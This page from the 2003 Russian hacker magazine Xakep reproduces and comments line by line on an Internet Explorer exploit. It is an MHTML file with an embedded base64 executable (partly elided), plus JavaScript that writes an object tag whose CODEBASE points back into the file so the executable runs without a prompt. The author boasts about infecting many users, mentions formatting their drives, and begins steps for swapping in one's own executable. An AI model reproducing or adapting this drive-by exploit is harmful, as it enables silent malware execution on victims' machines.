ВОЕННЫЙ HTTP’ОВЫЙ DNS - Берем контроль над браузером клиента

Спецвыпуск Xakep, номер #029, стр. 029-020-9


А коменты Дронича помогут тебе въехать, что тут и как:

//REMS by Dronich

//Стандартный заголовок почтовика.

MIME-Version: 1.0

//Далее идет описание файла, прописанного в теле письма как аттачмент.

Content-Location:file:///malware.exe

//Закодирован он по бейз64, самый клевый способ кодирования.

Content-Transfer-Encoding: base64

//Непосредственно файл. Импортируй его в почтовик, и ты увидишь АСКИИ.

//Первые два символа - MZ - этого нам достаточно, чтобы понять, что

//файло исполняемое. Не-АСКИИ символы в БАТе не увидеть :(.

//EXEbegin

...

и еще до фига белиберды...

...

PzY/Pzc/Pzg/Pzk/Pzo/Pzs/Pzw/Pz0/Pz4/Pz8/Pz8=

//EXEend

//Верхушка паги :). Все по-ламоботски просто.

<!-- 25.02.03 - http://www.malware.com -->

<title>malware.com</title>

<body bgcolor=black scroll=no>

//Угу. Скриптик. Смотрим, что делают:

<SCRIPT>

//25.02.03 - http://www.malware.com

//Описываем функцию.

function malware()

{

//В s кладем путь к файлу.

s=document.URL;

//В path кладем ту часть s, которая до последних слэшей (то бишь чисто ПУТЬ).

path=s.substr(-0,s.lastIndexOf("\\"));

//Если были ESC-chars - убиваем.

path=unescape(path);

//Вписываем в тело ХТМЛки следующее (вообще должна быть одна строка, но мы все равно компилить не собираемся):

document.write( '

//Началась чистая косметика - толку никакого :)

<title>

malware.com

</title>

<body scroll=no bgcolor=black>

<FONT face="Comic Sans MS" color=red style="position:absolute;top:20;left:90;z-index:100; font-size:2cm;">

malware.com

</center>

//А вот тут косметика кончилась...

//И понеслась!.. Внедрили объект с мистическим класс-айди, к которому точно нет описания в реестре.

//Стайл и альт - для красоты.

<object style="cursor:cross-hair" alt="moo ha ha" classid="clsid:66666666-6666-6666-6666"

//Гвоздь программы! Говорим винде, что объект с таким классом обрабатывается прогой, лежащей по адресу:

CODEBASE="mhtml:'+path+'\\malware.html!file:///malware.exe">

//То есть непосредственно в теле нашего письма :). Просто, как полбублика.

//С чистой совестью закрываем скобки и теги.

</object>

')

}

//А теперь вызываем описанную функцию с небобовой частотой (раз в 150 мс)

setTimeout("malware()",150)

</script>

//Вот так все банально. Ключи от дома в машине, машина в гараже, ключи от гаража дома :))).

//Вообще-то очень оригинально - заставить обработчик обрабатывать себя самого.

//Причем винда не заорет, так как адрес к проге-обработчику локальный, а значит запроса на загрузку нет :).

//А раз новых прог не инсталлим - то и орать не надо :).

Вот так-то! Ишак - самый жирный троян на твоей тачке. Ура M$!!! Так что поиметь в сети можно фигову тучу народу. Я уж молчу про то, что можно вообще сатанизм устроить, например, форматнуть всем винты, но я бы не стал себя ради шутки под статью подводить.

А чтобы запихать в этот эксплойт свой экзешник, который и замутит сатанинскую пати на отдельно взятом компе, надо воспользоваться самой хацкерской прогой всех времен и народов – TheBat’ом. Держи соляшен, чувак:

1. Создать новый ящик в Бате и сказать ему «Хранить аттаченные файлы в письме».

Назад на стр. 029-020-8  Содержание  Вперед на стр. 029-020-10